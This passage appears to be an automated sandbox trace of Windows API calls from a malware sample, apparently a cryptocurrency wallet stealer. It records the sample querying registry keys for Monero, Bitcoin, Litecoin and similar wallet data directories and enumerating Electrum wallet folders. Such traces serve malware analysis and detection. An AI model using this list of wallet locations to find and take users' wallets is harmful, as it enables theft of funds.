ftCreationTime.dwHighDateTime=0x1d4c865, ftLastAccessTime.dwLowDateTime=0x23f2f1e0, ftLastAccessTime.dwHighDateTime=0x1d4c6ed, ftLastWriteTime.dwLowDateTime=0x23f2f1e0, ftLastWriteTime.dwHighDateTime=0x1d4c6ed, nFileSizeHigh=0x0, nFileSizeLow=0xa727, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y 3UOe.gif", cAlternateFileName="Y3UOE~1.GIF")) returned 1 [0061.939] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc0b0c790, ftCreationTime.dwHighDateTime=0x1d4c865, ftLastAccessTime.dwLowDateTime=0x23f2f1e0, ftLastAccessTime.dwHighDateTime=0x1d4c6ed, ftLastWriteTime.dwLowDateTime=0x23f2f1e0, ftLastWriteTime.dwHighDateTime=0x1d4c6ed, nFileSizeHigh=0x0, nFileSizeLow=0xa727, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y 3UOe.gif", cAlternateFileName="Y3UOE~1.GIF")) returned 0 [0061.939] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0061.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3783290, cbMultiByte=11, lpWideCharStr=0x18d31c, cchWideChar=2047 | out: lpWideCharStr="wallet_path\\electrum.dat传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 11 [0061.939] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\monero-project\\monero-core", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0061.940] RegQueryValueExW (in: hKey=0x0, lpValueName="wallet_path", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x408152, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0061.940] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.940] SysReAllocStringLen (in: pbstr=0x42ad43c*=0x0, psz="Bitcoin\\Bitcoin-Qt", len=0x12 | out: pbstr=0x42ad43c*="Bitcoin\\Bitcoin-Qt") returned 1 [0061.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x37832c8, cbMultiByte=26, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="BitcoinGold\\BitcoinGold-Qtore灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 26 [0061.940] SysReAllocStringLen (in: pbstr=0x42ad440*=0x0, psz="BitcoinGold\\BitcoinGold-Qt", len=0x1a | out: pbstr=0x42ad440*="BitcoinGold\\BitcoinGold-Qt") returned 1 [0061.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x37832f0, cbMultiByte=18, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="BitCore\\BitCore-QtnGold-Qtore灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 18 [0061.940] SysReAllocStringLen (in: pbstr=0x42ad444*=0x0, psz="BitCore\\BitCore-Qt", len=0x12 | out: pbstr=0x42ad444*="BitCore\\BitCore-Qt") returned 1 [0061.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3783310, cbMultiByte=20, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="Litecoin\\Litecoin-Qtold-Qtore灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 20 [0061.940] SysReAllocStringLen (in: pbstr=0x42ad448*=0x0, psz="Litecoin\\Litecoin-Qt", len=0x14 | out: pbstr=0x42ad448*="Litecoin\\Litecoin-Qt") returned 1 [0061.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3783334, cbMultiByte=24, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="BitcoinABC\\BitcoinABC-QtQtore灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 24 [0061.940] SysReAllocStringLen (in: pbstr=0x42ad44c*=0x0, psz="BitcoinABC\\BitcoinABC-Qt", len=0x18 | out: pbstr=0x42ad44c*="BitcoinABC\\BitcoinABC-Qt") returned 1 [0061.940] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Bitcoin\\Bitcoin-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0061.940] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0061.940] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.940] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\BitcoinGold\\BitcoinGold-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0061.940] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0061.940] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.940] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\BitCore\\BitCore-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0061.941] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0061.941] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.941] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Litecoin\\Litecoin-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0061.941] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0061.941] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.941] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\BitcoinABC\\BitcoinABC-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0061.941] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0061.941] RegCloseKey (hKey=0x80000001) returned 0x0 [0061.941] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Electrum\\wallets\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 0x40 [0061.941] SysReAllocStringLen (in: pbstr=0x18e5d0*="%appdata%\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.941] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0061.941] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.941] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.941] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x42ad428*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x42ad428*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", len=0x41 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", len=0x41 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x40 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x40 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0061.942] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", len=0x40 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*") returned 1 [0061.942] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.943] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", len=0x40 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0061.943] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.943] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.943] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Electrum-LTC\\wallets\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 0x44 [0061.943] SysReAllocStringLen (in: pbstr=0x18e5d0*="%appdata%\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.943] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.943] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x42ad428*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x42ad428*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\", len=0x43 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", len=0x45 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", len=0x45 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", len=0x45 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x44 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x44 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*") returned 1 [0061.944] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum-LTC\\wallets\\*", len=0x44 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS 